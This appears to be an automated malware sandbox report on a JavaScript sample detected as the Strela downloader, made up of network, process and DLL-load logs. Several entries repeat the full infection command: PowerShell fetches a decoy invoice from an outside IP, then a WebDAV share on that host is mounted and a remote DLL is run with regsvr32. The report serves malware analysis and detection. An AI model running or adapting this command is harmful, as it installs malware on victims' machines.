Source: unknown	Network traffic detected: HTTP traffic on port 49707 -> 8888
Source: unknown	Network traffic detected: HTTP traffic on port 8888 -> 49707

Source: global traffic

TCP traffic: 192.168.2.8:49707 -> 193.143.1.205:8888

Source: Joe Sandbox View

IP Address: 193.143.1.205 193.143.1.205

Source: Joe Sandbox View

ASN Name: BITWEB-ASRU BITWEB-ASRU

Source: Network traffic

Suricata IDS: 1810000 - Severity 2 - Joe Security ANOMALY Windows PowerShell HTTP activity : 192.168.2.8:49706 -> 193.143.1.205:80

Source: global traffic

HTTP traffic detected: GET /invoice.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: 193.143.1.205Connection: Keep-Alive

Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205

Source: global traffic

HTTP traffic detected: GET /invoice.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: 193.143.1.205Connection: Keep-Alive

Source: global traffic

DNS traffic detected: DNS query: x1.i.lencr.org

Source: wscript.exe, 00000000.00000002.1418822116.00000195BAD8F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205/invoice.php
Source: net.exe, 00000007.00000003.1478087221.00000216495BC000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000003.1478286317.000002164959E000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.1481416755.000002164959E000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.1481552395.00000216495BE000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.1481328820.0000021649568000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/
Source: net.exe, 00000007.00000003.1478286317.000002164959E000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.1481416755.000002164959E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/0s
Source: net.exe, 00000007.00000003.1478286317.000002164959E000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.1481416755.000002164959E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/4s
Source: net.exe, 00000007.00000002.1481328820.0000021649568000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/spacez
Source: net.exe, 00000007.00000002.1481328820.0000021649568000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/y
Source: svchost.exe, 00000009.00000002.2717557775.0000011874E00000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.ver)
Source: 77EC63BDA74BD0D0E0426DC8F80085060.8.dr	String found in binary or memory: http://ctldl.windowsupdate.com/msdownload/update/v3/static/trustedr/en/authrootstl.cab
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/chromewebstore/L2Nocm9tZV9leHRlbnNpb24vYmxvYnMvYjFkQUFWdmlaXy12MHFU
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaa5khuklrahrby256zitbxd5wq_1.0.2512.1/n
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaxuysrwzdnwqutaimsxybnjbrq_2023.9.25.0/
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adhioj45hzjkfunn7ccrbqyyhu3q_20230916.567
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adqyi2uk2bd7epzsrzisajjiqe_9.48.0/gcmjkmg
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/dix4vjifjljmfobl3a7lhcpvw4_414/lmelglejhe
Source: qmgr.db.9.dr	String found in binary or memory: http://f.c2r.ts.cdn.office.net/pr/492350f6-3a01-4f97-b9c0-c7c6ddf67d60/Office/Data/v32_16.0.16827.20
Source: 2D85F72862B55C4EADD9E66E06947F3D0.8.dr	String found in binary or memory: http://x1.i.lencr.org/
Source: edb.log.9.dr, qmgr.db.9.dr	String found in binary or memory: https://g.live.com/odclientsettings/Prod/C:
Source: svchost.exe, 00000009.00000003.1480119437.0000011874D00000.00000004.00000800.00020000.00000000.sdmp, edb.log.9.dr, qmgr.db.9.dr	String found in binary or memory: https://g.live.com/odclientsettings/ProdV2/C:

Spam, unwanted Advertisements and Ransom Demands

Yara detected Strela Downloader

Source: Yara match

File source: Process Memory Space: wscript.exe PID: 7464, type: MEMORYSTR

System Summary

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Source: C:\Windows\System32\wscript.exe

COM Object queried: Windows Script Host Shell Object HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{72C24DD5-D70A-438B-8A42-98424B88AFB8}

Jump to behavior

Wscript starts Powershell (via cmd or directly)

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\276241076231720.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\276241076231720.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior

Source: C:\Windows\System32\svchost.exe

File created: C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Jump to behavior

Source: 3107622714995924320.js

Initial sample: Strings found which are bigger than 50

Source: classification engine

Classification label: mal100.rans.troj.spyw.expl.evad.winJS@27/57@1/2

Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe

File created: C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents-journal

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7560:120:WilError_03

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_dcbvkxg3.qbi.ps1

Jump to behavior

Source: C:\Windows\System32\wscript.exe

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: 3107622714995924320.js

Virustotal: Detection: 10%

Source: unknown	Process created: C:\Windows\System32\wscript.exe C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\3107622714995924320.js"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\276241076231720.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2104 --field-trial-handle=1360,i,4133838475266687135,6484250836128223451,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\276241076231720.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2104 --field-trial-handle=1360,i,4133838475266687135,6484250836128223451,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior

Source: C:\Windows\System32\wscript.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sxs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: jscript.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrobj.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrrun.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: pcacli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: drprov.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winsta.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: ntlanman.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: davclnt.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: davhlpr.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: qmgr.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsperf.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: xmllite.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: firewallapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: esent.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: umpdc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwbase.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: flightsettings.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netprofm.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: npmproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsigd.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: upnp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ssdpapi.dll	Jump to behavior
